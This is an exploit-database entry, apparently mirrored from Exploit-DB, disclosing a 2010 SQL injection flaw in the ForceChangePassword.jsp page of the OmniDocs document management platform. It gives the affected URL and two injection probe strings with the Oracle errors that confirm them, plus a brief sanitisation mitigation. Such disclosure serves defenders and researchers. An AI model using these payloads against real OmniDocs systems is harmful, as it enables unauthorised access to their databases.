Omnidocs SQL injection Vulnerability

vendor:

Omnidocs

by:

thebluegenius

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: Omnidocs

Affected Version From: All

Affected Version To: All

Patch Exists: NO

Related CWE: NA

CPE: a:newgen_software_technologies:omnidocs

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Apache-Coyote/1.1 | JBoss

2010

Omnidocs SQL injection Vulnerability

OmniDocs is an Enterprise Document Management (EDM) platform for creating, capturing, managing, delivering and archiving large volumes of documents and contents. A vulnerability exists in the ForceChangePassword.jsp page, where an attacker can inject malicious SQL commands. This can be confirmed by using the commands ' or 'a' = 'a' and or exists (select 1 from sys.dual) and ''x''=''x' which will result in ORA-00907 and ORA-01756 errors respectively.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in SQL queries.

Source

Exploit-DB raw data:

--------------------------------------------------------------------
# Exploit Title: Omnidocs SQL injection Vulnerability
# Date: 10 Feb 2010
# Author: thebluegenius
# Software Link: http://www.newgensoft.com/omnidocs.asp
# Version: All
# Tested on: Apache-Coyote/1.1 | JBoss
# CVE : NA

---------------------------------------------------
"Omnidocs" SQL injection vulnerability.
---------------------------------------------------
By       :Thebluegenius. 
Email    :rajsm@isac.org.in
Blog	 :thebluegenius.com.
---------------------------------------------------

Description:
OmniDocs is an Enterprise Document Management (EDM) platform for creating, capturing, managing, delivering and archiving large volumes of documents and contents. Also integrates seamlessly with other enterprise applications.

------------------
Vulnerability
------------------

Affected URL: http://server/omnidocs/ForceChangePassword.jsp

Command: ' or 'a' = 'a'
Confirmed SQL Injection error :  ORA-00907: missing right parenthesis           

Command: or exists (select 1 from sys.dual) and ''x''=''x'
Confirmed SQL Injection error : ORA-01756: quoted string not properly terminated           

-----------------------------------------------------
Greetz Fly Out to:
1] Amforked()  : My good friend
2] Aodrulez    : for inspiring me
3] www.OrchidSeven.com
4] www.isac.org.in